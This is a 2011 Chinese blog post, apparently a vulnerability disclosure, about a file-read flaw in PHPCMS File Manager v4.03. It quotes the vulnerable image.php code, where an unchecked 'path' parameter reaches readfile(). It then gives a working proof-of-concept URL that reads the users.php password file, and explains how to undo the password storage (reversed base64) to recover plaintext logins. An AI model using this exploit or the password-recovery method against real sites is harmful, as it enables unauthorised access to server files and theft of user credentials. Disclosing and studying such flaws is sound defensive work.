PHPCMS FileManager v4.03 FileRead Vulnerability

 

#
#Author : HeXie S3curity TeAm
#Date : 2011.10.01
#

#FIle : /image.php
<?php
/*
*#########################################
* PHPCMS File Manager
* Copyright (c) 2004-2006 phpcms.cn
* Author: Longbill ( http://www.longbill.cn )
* longbill.cn@gmail.com
*#########################################
*/

$path = $_GET["path"]; //读取路径信息
$from = $_SERVER[HTTP_REFERER];
$from = dirname($from).'/';
if ($from != '/' ) $path = str_replace($from,"",$path);


$max = $_GET["max"];
include_once("func.php");
$etag = "qqqq";
if ($_SERVER['HTTP_IF_NONE_MATCH'] == $etag)
{
	header('Etag:'.$etag,true,304);
	exit;
}
else header('Etag:'.$etag);
header('Last-Modified:Tue,01 Aug 1999 10:26:24 GMT');

if (!$path || !file_exists($path))  $path="images/notfound.gif"; //图片没有找到
if (!$max) err();  //{通过Get方法传递的Max变量, 当$Max不成立时将调用err 函数.}

  我们来看看err 函数是怎么写的.

FiLe : /image.php

function err()
{
global $path;
header("Content-Length: ".@filesize($path));
readfile($path); //读取$path.
die;
} 

 

PoC:

  http://Localhost/cms/image.php?path=class/users.php //读取密码文件, 前台登陆.

  如果没有显示,请右键源码形式打开.

 

   密码是经过加密的, 但不并不是单一的Md5 hash. 密码加密第一步是将原文经过base64编码后然后利用strrev 函数从字符串末尾向前重组.

得到md5 hash 后, 先逆着打出来, 比如 321, 就写成123. 然后根据base64 编码方式进行解密, 密码原文就出来了. 

end. 

 

posted @ 2011-10-01 04:46  sdfsadfasfsd2012  阅读(748)  评论(0编辑  收藏  举报






郊外景色

小桥流水人家

牵手

风车

采花姑娘

农村乐趣

在希望的田野上

丝袜和秀腿

张曼玉